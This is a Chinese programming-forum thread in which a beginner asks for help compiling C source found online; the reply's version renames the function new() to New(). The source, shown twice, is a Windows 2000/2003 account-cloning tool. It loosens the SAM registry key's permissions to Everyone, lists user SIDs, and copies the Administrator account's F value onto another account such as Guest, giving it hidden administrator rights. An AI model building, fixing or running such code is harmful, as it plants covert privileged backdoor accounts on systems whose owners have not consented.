读书人

一段vc源码编译出错。 求各位大大帮

发布时间: 2013-01-11 11:57:35 作者: rapoo

一段vc源码,编译出错。 求各位大大帮忙解决一下。
从网上找的现成的源码,据说是无错的。
但是我编译就会出错。。。
求各位大大看看什么问题。
万分感谢!!


#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <aclapi.h>

char name[50][30];

int KeyN=0;

LPTSTR lpObjectName;

SE_OBJECT_TYPE ObjectType; //#include <aclapi.h>

PACL OldDACL,NewDACL;

PSECURITY_DESCRIPTOR SD;

EXPLICIT_ACCESS ea;

//OpenKey(),ViewUser(),ListUser()函数用到的变量


//显示用户名对应的安全标识符:

void OpenKey (char *key);

int ViewUser (char *key);

int ListUser (void);//列出用户名和类型值(用户SID)

int Clone (char *C_sid);//克隆帐户

void Usage (void);//帮助信息


//设置注册表的存取权限:

void new();

void old();


void main (int argc, char *argv[])

{

char C_Sid[10];

int n;

if(argc<2)

{Usage();

return;}


//提升注册表SAM键的权限:

new();

//如何使用命令行参数的方法:

for (n=1;n<argc;n++)

{

if (argv[n][0] == '-')

{

switch(argv[n][1])

{

case '?':

case 'h':

case 'H':Usage();

break;


case 'l':

case 'L':ListUser();

old();

break;


case 'c':

case 'C':

if(argc<3)

{printf("Useage:%s -c 1F5\n",argv[0]);

old();

break;}

strcpy(C_Sid,argv[2]);//获得屏幕输入并存入C_Sid字符数组

if (strlen(C_Sid)<=10)

Clone(C_Sid);

else

printf("Error\n");

//恢复注册表的权限:

old();


break;


}

}

}

}


void OpenKey (char *key)

{

HKEY hkey;//注册表键值的句柄

DWORD dwIndex=0,lpcbname=100,ret=0;

char T_name[100],Buffer[100];

FILETIME lpftlast;

int i=0;

//下面是字符数组清0:

ZeroMemory(Buffer,100);

ZeroMemory(T_name,100);

ZeroMemory(name,1500);


RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄

key, //传递一个参数,欲打开的注册表项

0, //未用,设为0即可

KEY_ALL_ACCESS, //描述新键值安全性的访问掩码

//它们的组合描述了允许对这个项进行哪些操作

&hkey);//装载上面打开项的句柄


for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍历子键中的每个值

{

ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,

NULL,NULL,NULL,&lpftlast);

//dwIndex:欲获取的子项的索引。第一个子项的索引编号为零

//T_name:用于装载指定索引处项名的一个缓冲区

//&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。

//一旦返回,它会设为实际装载到lpName缓冲区的字符数量

//NULL:未用,设为零

//NULL:项使用的类名

//NULL:用于装载lpClass缓冲区长度的一个变量

//&lpftlast:FILETIME,枚举子项上一次修改的时间


strcat(name[i],T_name);//将每个子键名加入到name[i]数组中


ZeroMemory(T_name,100);//清0



lpcbname=100;

}

//printf("subkey=%s\n",name[0]);//administrator

RegCloseKey(hkey); //关闭注册键


//拼接用户名:

for(KeyN=0;KeyN<i;KeyN++)

{

strcat(Buffer,name[KeyN]);

strcat(Buffer,"\n\r");

}

}


int ViewUser (char *key)

{

HKEY hkey;

DWORD lpType=0,ret;

char S_name[10];


ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,

key,//如://SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator

0,

KEY_ALL_ACCESS,

&hkey);


if(ret==ERROR_SUCCESS)

;

else

return 0;


RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL);

//NULL:要获取值的名字

//NULL:未用,设为零

//&lpType:用于装载取回数据类型的一个变量

//NULL:用于装载指定值的一个缓冲区

//NULL:用于装载lpData缓冲区长度的一个变量


wsprintf(S_name,"%X\n\r",lpType);

printf("%s",S_name);


return 1;

}


int ListUser (void)

{

int n;

char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";

char Temp[40]={'\0'};


OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");


for(n=0;n<KeyN;n++)

{

strcat(Buffer,name[n]);//SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator

wsprintf(Temp,name[n]);

strcat(Temp,"===>");

printf("%s",Temp);

ViewUser(Buffer);

strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");

}

return 1;

}


int Clone(char *C_sid)

{

HKEY hkey,C_hkey;

DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;

char CloneSid[100];

LPBYTE lpDataF,lpDataV;

//为注册表的F与V值分配空间:

lpDataF = (LPBYTE) malloc(1024*2);

lpDataV = (LPBYTE) malloc(1024*10);

//清0:

ZeroMemory(lpDataF,1024*2);

ZeroMemory(lpDataV,1024*10);

ZeroMemory(CloneSid,100);


strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");

strcat(CloneSid,C_sid);//如:SAM\\SAM\\Domains\\Account\\Users\\000001F5


ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,

"SAM\\SAM\\Domains\\Account\\Users\\000001F4", //administrator的子键

0,

KEY_ALL_ACCESS,

&hkey);


if(ret==ERROR_SUCCESS)

;

else

return 0;

//读出F值然后存入lpDataF中:

ret = RegQueryValueEx(hkey,"F",NULL,

&Type,lpDataF,&SizeF);


if(ret==ERROR_SUCCESS)

;

else

return 0;

//读出v值然后存入lpDataV中:

ret = RegQueryValueEx(hkey,"V",NULL,

&Type,lpDataV,&SizeV);


if(ret==ERROR_SUCCESS)

;

else

return 0;

//下面是打开需克隆用户如guest的键值:

ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,


CloneSid, //如:SAM\\SAM\\Domains\\Account\\Users\\000001F5

0,

KEY_ALL_ACCESS,

&C_hkey);


if(ret==ERROR_SUCCESS)

;

else

return 0;

//将lpDataF中的值来替换需克隆用户的F值:

ret= RegSetValueEx(C_hkey,"F",0,

REG_BINARY,

lpDataF,

SizeF);

//C_hkey:根键名或已打开项的句柄

//“F”:要设置值的名字

//0:未用,设为零

//REG_BINARY:要设置的数量类型

//lpDataF:包含数据的缓冲区中的第一个字节

//SizeF:lpData缓冲区的长度


if(ret==ERROR_SUCCESS)

printf("Clone User Success\n");

else

{

printf("Clone User FAIL\n");

return 0;

}

//关闭已打开的注册表句柄:

RegCloseKey(hkey);

RegCloseKey(C_hkey);


return 1;

}


void new()

{//下面是设置SAM键的权限为everyone:

lpObjectName = "MACHINE\\SAM\\SAM";


ObjectType =SE_REGISTRY_KEY;


//建立一个空的ACL;

if (SetEntriesInAcl(0, NULL, NULL, &


OldDACL)!=ERROR_SUCCESS)

return;


if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS)

return;


//获取现有的ACL列表到OldDACL:

if(GetNamedSecurityInfo(lpObjectName, ObjectType,

DACL_SECURITY_INFORMATION,

NULL, NULL,

&OldDACL,

NULL, &SD) != ERROR_SUCCESS)

printf("指定的键不存在!\n");

// 本文转自 C++Builder 研究 - http://www.ccrun.com/article.asp?i=563&d=tshoza

//设置用户名"Everyone"对指定的键有所有操作权到结构ea:

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));


BuildExplicitAccessWithName(&ea,

"Everyone", // name of trustee

KEY_ALL_ACCESS, // type of access

SET_ACCESS, // access mode

SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子键继承它的权限



//合并结构ea和OldDACL的权限列表到新的NewDACL:

if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS)

goto Cleanup;


//把新的ACL写入到指定的键:

SetNamedSecurityInfo(lpObjectName, ObjectType,

DACL_SECURITY_INFORMATION,

NULL, NULL,

NewDACL,

NULL);

//释放指针

Cleanup:

if(SD != NULL)

LocalFree((HLOCAL) SD);

if(NewDACL != NULL)

LocalFree((HLOCAL) NewDACL);

if(OldDACL != NULL)

LocalFree((HLOCAL) OldDACL);

}


void old()

{

//恢复注册表的权限:


BuildExplicitAccessWithName(&ea,

"system", // name of trustee

KEY_ALL_ACCESS, // type of access

SET_ACCESS, // access mode

SUB_CONTAINERS_AND_OBJECTS_INHERIT); //让子键继承他的权限


if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS)

goto Cleanup;


//把旧的ACL写入到指定的键:


SetNamedSecurityInfo(lpObjectName, ObjectType,

DACL_SECURITY_INFORMATION,

NULL, NULL,

OldDACL,

NULL);

//释放指针

Cleanup:

if(SD != NULL)

LocalFree((HLOCAL) SD);

if(NewDACL != NULL)

LocalFree((HLOCAL) NewDACL);

if(OldDACL != NULL)

LocalFree((HLOCAL) OldDACL);


}


//输出帮助的典型方法:

void Usage (void)

{

fprintf(stderr,"===============================================================================\n"

"\t名称:2003与2000下克隆任意用户程序\n"

"\t环境:Win2003 + Visual C++ 6.0\n"

"\t作者:pt007@vip.sina.com\n"

"\tQQ:7491805\n"

"\t声明:本软件由pt007原创,转载请注明出处,谢谢!\n"

"\n"

"\t使用方法:\n"

"\t\"-H\":帮助信息\n"

"\t\"-L\":列出系统中用户对应的SID\n"

"\t\"-C 1F5\":克隆帐户,输入SID即可\n"

"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"

"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"

"\n"

"\t注意事项:\n"

"\t由于SID的前5位都是\"0\",所以不必输入,直接输入最后三位\n"

"\t例如:000001F5,则直接输入1F5,即可将Guest帐户克隆\n"

"===============================================================================\n");

}




Compiling...
1.cpp
C:\Users\Administrator\Desktop\1\1.cpp(38) : warning C4091: '' : ignored on left of 'void' when no variable is declared
C:\Users\Administrator\Desktop\1\1.cpp(38) : error C2143: syntax error : missing ';' before 'new'
C:\Users\Administrator\Desktop\1\1.cpp(38) : error C2143: syntax error : missing ';' before 'new'
C:\Users\Administrator\Desktop\1\1.cpp(60) : error C2059: syntax error : ')'
C:\Users\Administrator\Desktop\1\1.cpp(64) : error C2143: syntax error : missing ')' before ';'
C:\Users\Administrator\Desktop\1\1.cpp(64) : error C2143: syntax error : missing ';' before ')'
C:\Users\Administrator\Desktop\1\1.cpp(64) : error C2143: syntax error : missing ';' before ')'
C:\Users\Administrator\Desktop\1\1.cpp(64) : warning C4552: '<' : operator has no effect; expected operator with side-effect
C:\Users\Administrator\Desktop\1\1.cpp(64) : error C2143: syntax error : missing ';' before ')'
C:\Users\Administrator\Desktop\1\1.cpp(66) : error C2143: syntax error : missing ';' before '{'
C:\Users\Administrator\Desktop\1\1.cpp(465) : warning C4091: '' : ignored on left of 'void' when no variable is declared
C:\Users\Administrator\Desktop\1\1.cpp(465) : error C2143: syntax error : missing ';' before 'new'
C:\Users\Administrator\Desktop\1\1.cpp(465) : error C2143: syntax error : missing ';' before 'new'
C:\Users\Administrator\Desktop\1\1.cpp(467) : error C2143: syntax error : missing ';' before '{'
C:\Users\Administrator\Desktop\1\1.cpp(467) : error C2447: missing function header (old-style formal list?)


执行 cl.exe 时出错.

1.exe - 1 error(s), 0 warning(s)


我是菜鸟。不太懂vc。 - -。 我百度了好久,都说是什么变量没声明。。但是没有解决办法。。。求求求解决!!
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <aclapi.h>

char name[50][30];

int KeyN=0;

LPTSTR lpObjectName;

SE_OBJECT_TYPE ObjectType; //#include <aclapi.h>

PACL OldDACL,NewDACL;

PSECURITY_DESCRIPTOR SD;

EXPLICIT_ACCESS ea;

//OpenKey(),ViewUser(),ListUser()函数用到的变量


//显示用户名对应的安全标识符:

void OpenKey (char *key);

int ViewUser (char *key);

int ListUser (void);//列出用户名和类型值(用户SID)

int Clone (char *C_sid);//克隆帐户

void Usage (void);//帮助信息


//设置注册表的存取权限:

void New();

void old();


void main (int argc, char *argv[])

{

char C_Sid[10];

int n;

if(argc<2)

{Usage();

return;}


//提升注册表SAM键的权限:

New();

//如何使用命令行参数的方法:

for (n=1;n<argc;n++)

{

if (argv[n][0] == '-')

{

switch(argv[n][1])

{

case '?':

case 'h':

case 'H':Usage();

break;


case 'l':

case 'L':ListUser();

old();

break;


case 'c':

case 'C':

if(argc<3)

{printf("Useage:%s -c 1F5\n",argv[0]);

old();

break;}

strcpy(C_Sid,argv[2]);//获得屏幕输入并存入C_Sid字符数组

if (strlen(C_Sid)<=10)

Clone(C_Sid);

else

printf("Error\n");

//恢复注册表的权限:

old();




break;


}

}

}

}


void OpenKey (char *key)

{

HKEY hkey;//注册表键值的句柄

DWORD dwIndex=0,lpcbname=100,ret=0;

char T_name[100],Buffer[100];

FILETIME lpftlast;

int i=0;

//下面是字符数组清0:

ZeroMemory(Buffer,100);

ZeroMemory(T_name,100);

ZeroMemory(name,1500);


RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄

key, //传递一个参数,欲打开的注册表项

0, //未用,设为0即可

KEY_ALL_ACCESS, //描述新键值安全性的访问掩码

//它们的组合描述了允许对这个项进行哪些操作

&hkey);//装载上面打开项的句柄


for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍历子键中的每个值

{

ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,

NULL,NULL,NULL,&lpftlast);

//dwIndex:欲获取的子项的索引。第一个子项的索引编号为零

//T_name:用于装载指定索引处项名的一个缓冲区

//&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。

//一旦返回,它会设为实际装载到lpName缓冲区的字符数量

//NULL:未用,设为零

//NULL:项使用的类名

//NULL:用于装载lpClass缓冲区长度的一个变量

//&lpftlast:FILETIME,枚举子项上一次修改的时间


strcat(name[i],T_name);//将每个子键名加入到name[i]数组中


ZeroMemory(T_name,100);//清0

lpcbname=100;

}

//printf("subkey=%s\n",name[0]);//administrator

RegCloseKey(hkey); //关闭注册键


//拼接用户名:

for(KeyN=0;KeyN<i;KeyN++)

{

strcat(Buffer,name[KeyN]);

strcat(Buffer,"\n\r");

}

}


int ViewUser (char *key)

{

HKEY hkey;

DWORD lpType=0,ret;

char S_name[10];


ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,

key,//如://SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator

0,

KEY_ALL_ACCESS,

&hkey);


if(ret==ERROR_SUCCESS)

;

else

return 0;


RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL);

//NULL:要获取值的名字

//NULL:未用,设为零

//&lpType:用于装载取回数据类型的一个变量



//NULL:用于装载指定值的一个缓冲区

//NULL:用于装载lpData缓冲区长度的一个变量


wsprintf(S_name,"%X\n\r",lpType);

printf("%s",S_name);


return 1;

}


int ListUser (void)

{

int n;

char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";

char Temp[40]={'\0'};


OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");


for(n=0;n<KeyN;n++)

{

strcat(Buffer,name[n]);//SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator

wsprintf(Temp,name[n]);

strcat(Temp,"===>");

printf("%s",Temp);

ViewUser(Buffer);

strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");

}

return 1;

}


int Clone(char *C_sid)

{

HKEY hkey,C_hkey;

DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;

char CloneSid[100];

LPBYTE lpDataF,lpDataV;

//为注册表的F与V值分配空间:

lpDataF = (LPBYTE) malloc(1024*2);

lpDataV = (LPBYTE) malloc(1024*10);

//清0:

ZeroMemory(lpDataF,1024*2);

ZeroMemory(lpDataV,1024*10);

ZeroMemory(CloneSid,100);


strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");

strcat(CloneSid,C_sid);//如:SAM\\SAM\\Domains\\Account\\Users\\000001F5


ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,

"SAM\\SAM\\Domains\\Account\\Users\\000001F4", //administrator的子键

0,

KEY_ALL_ACCESS,

&hkey);


if(ret==ERROR_SUCCESS)

;

else

return 0;

//读出F值然后存入lpDataF中:

ret = RegQueryValueEx(hkey,"F",NULL,

&Type,lpDataF,&SizeF);


if(ret==ERROR_SUCCESS)

;

else

return 0;

//读出v值然后存入lpDataV中:

ret = RegQueryValueEx(hkey,"V",NULL,

&Type,lpDataV,&SizeV);


if(ret==ERROR_SUCCESS)

;

else

return 0;

//下面是打开需克隆用户如guest的键值:


ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,

CloneSid, //如:SAM\\SAM\\Domains\\Account\\Users\\000001F5

0,

KEY_ALL_ACCESS,

&C_hkey);


if(ret==ERROR_SUCCESS)

;

else

return 0;

//将lpDataF中的值来替换需克隆用户的F值:

ret= RegSetValueEx(C_hkey,"F",0,

REG_BINARY,

lpDataF,

SizeF);

//C_hkey:根键名或已打开项的句柄

//"F":要设置值的名字

//0:未用,设为零

//REG_BINARY:要设置的数量类型

//lpDataF:包含数据的缓冲区中的第一个字节

//SizeF:lpData缓冲区的长度


if(ret==ERROR_SUCCESS)

printf("Clone User Success\n");

else

{

printf("Clone User FAIL\n");

return 0;

}

//关闭已打开的注册表句柄:

RegCloseKey(hkey);

RegCloseKey(C_hkey);


return 1;

}


void New()

{//下面是设置SAM键的权限为everyone:

lpObjectName = "MACHINE\\SAM\\SAM";


ObjectType =SE_REGISTRY_KEY;


//建立一个空的ACL;

if (SetEntriesInAcl(0, NULL, NULL, &


OldDACL)!=ERROR_SUCCESS)

return;


if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS)

return;


//获取现有的ACL列表到OldDACL:

if(GetNamedSecurityInfo(lpObjectName, ObjectType,

DACL_SECURITY_INFORMATION,

NULL, NULL,

&OldDACL,

NULL, &SD) != ERROR_SUCCESS)

printf("指定的键不存在!\n");

// 本文转自 C++Builder 研究 - <A href="http://www.ccrun.com/article.asp?i=563&d=tshoza">http://www.ccrun.com/article.asp?i=563&d=tshoza</A>

//设置用户名"Everyone"对指定的键有所有操作权到结构ea:

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));


BuildExplicitAccessWithName(&ea,

"Everyone", // name of trustee

KEY_ALL_ACCESS, // type of access

SET_ACCESS, // access mode

SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子键继承它的权限



//合并结构ea和OldDACL的权限列表到新的NewDACL:

if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS)



goto Cleanup;


//把新的ACL写入到指定的键:

SetNamedSecurityInfo(lpObjectName, ObjectType,

DACL_SECURITY_INFORMATION,

NULL, NULL,

NewDACL,

NULL);

//释放指针

Cleanup:

if(SD != NULL)

LocalFree((HLOCAL) SD);

if(NewDACL != NULL)

LocalFree((HLOCAL) NewDACL);

if(OldDACL != NULL)

LocalFree((HLOCAL) OldDACL);

}


void old()

{

//恢复注册表的权限:


BuildExplicitAccessWithName(&ea,

"system", // name of trustee

KEY_ALL_ACCESS, // type of access

SET_ACCESS, // access mode

SUB_CONTAINERS_AND_OBJECTS_INHERIT); //让子键继承他的权限


if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS)

goto Cleanup;


//把旧的ACL写入到指定的键:

SetNamedSecurityInfo(lpObjectName, ObjectType,

DACL_SECURITY_INFORMATION,

NULL, NULL,

OldDACL,

NULL);

//释放指针

Cleanup:

if(SD != NULL)

LocalFree((HLOCAL) SD);

if(NewDACL != NULL)

LocalFree((HLOCAL) NewDACL);

if(OldDACL != NULL)

LocalFree((HLOCAL) OldDACL);


}


//输出帮助的典型方法:

void Usage (void)

{

fprintf(stderr,"===============================================================================\n"

"\t名称:2003与2000下克隆任意用户程序\n"

"\t环境:Win2003 + Visual C++ 6.0\n"

"\t作者:<A href=\"mailto:pt007@vip.sina.com\">pt007@vip.sina.com</A>\n"

"\tQQ:7491805\n"

"\t声明:本软件由pt007原创,转载请注明出处,谢谢!\n"

"\n"

"\t使用方法:\n"

"\t\"-H\":帮助信息\n"

"\t\"-L\":列出系统中用户对应的SID\n"

"\t\"-C 1F5\":克隆帐户,输入SID即可\n"

"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"

"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"

"\n"

"\t注意事项:\n"

"\t由于SID的前5位都是\"0\",所以不必输入,直接输入最后三位\n"

"\t例如:000001F5,则直接输入1F5,即可将Guest帐户克隆\n"

"===============================================================================\n");



}



读书人网 >C++

热点推荐